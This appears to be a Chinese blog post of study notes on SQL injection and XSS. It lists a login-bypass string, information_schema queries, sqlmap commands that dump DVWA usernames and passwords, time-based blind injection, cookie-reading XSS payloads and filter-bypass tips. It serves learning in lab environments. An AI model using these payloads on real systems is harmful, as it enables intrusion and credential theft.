常见sql注入语句和xss注入语句

一、sql注入

前提:对用户输入的用户和密码未做任何校验以及处理

可绕过登录的万能语句  "1' or '1'='1"  (一般登录用户和密码都是字符串类型)

1.order by 1,2,3,4... 判断表的字段个数,一般占位的个数超过字段数时,页面会报错;下图报错为未知列5,一般此处可判断字段的个数为4;可通过占位数字是否在页面有回显,如果2,3回显的话,我们可替换占位为database()获取当前库名,user()为当前用户(version()版本等)

2.然后通过mysql的元数据表对数据库中所有表进行查看,猜字段,判断用户表

select table_name from information_schema.tables where table_schema='database()'; 

table_schema字段对应的是库名值

.......

3.若存在类似user的用户表,可直接查看用户信息

4.通过sqlmap来检测注入漏洞

简单的sqlmap -u "http://baidu.com"

sqlmap -r  数据包文件.txt (此处数据包可通过burpsuite抓取并写入txt文件)

python sqlmap.py -r .\1111.txt --batch --dbs --tables
python sqlmap.py -r .\1111.txt --batch -D dvwa --tables
python sqlmap.py -r .\1111.txt --batch -D dvwa -T users --column
python sqlmap.py -r .\1111.txt --batch -D dvwa -T users -C username,password --dump
python sqlmap.py -r .\1111.txt --batch --dbs --tables --technique BT

--dump 备份

--technique 表示采用的注入技术,默认DBUSTQ六种注入手段

5.sleep判断注入

select * from users where id =1 and if (user()="root@localhost",sleep(5),null);如果存在默认用户,则查询结果的时间会延时5秒 

select * from users where id =1 and if (substr(users(),1,1)="r",sleep(5),null);逐字判断

 ....union注入的方式与前面有一点点区别

二、xss

常见的payload  <img scr=a οnerrοr=confirm(124)>    可换成confirm(document.cookie)

<a href=javascript:alert(124)>

<script>alert(124)</script>

confirm和alert可互换

学会闭包前端源码的<、>符号;

检查工具 xxstrike、xsser

部分防护手段都是通过前端校验对特殊符号进行实体化 转译、正则排除等;可直接通过burpsuite抓包改包放包 去绕过前端校验

如果后台做了校验,可以尝试大小写、双写标签绕过

实测过web应用,大部分xss都是“间接引用”触发;输入payload直接触发的情况比较少见

常用的web漏洞工具 awvs(推荐)、appscan(比较常规性)、netsparker、nitko、owasp、xray等

补充:可通过搭建vulnhub官网发布的漏洞环境进行漏洞复现

快速访问github连接

  • 0
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值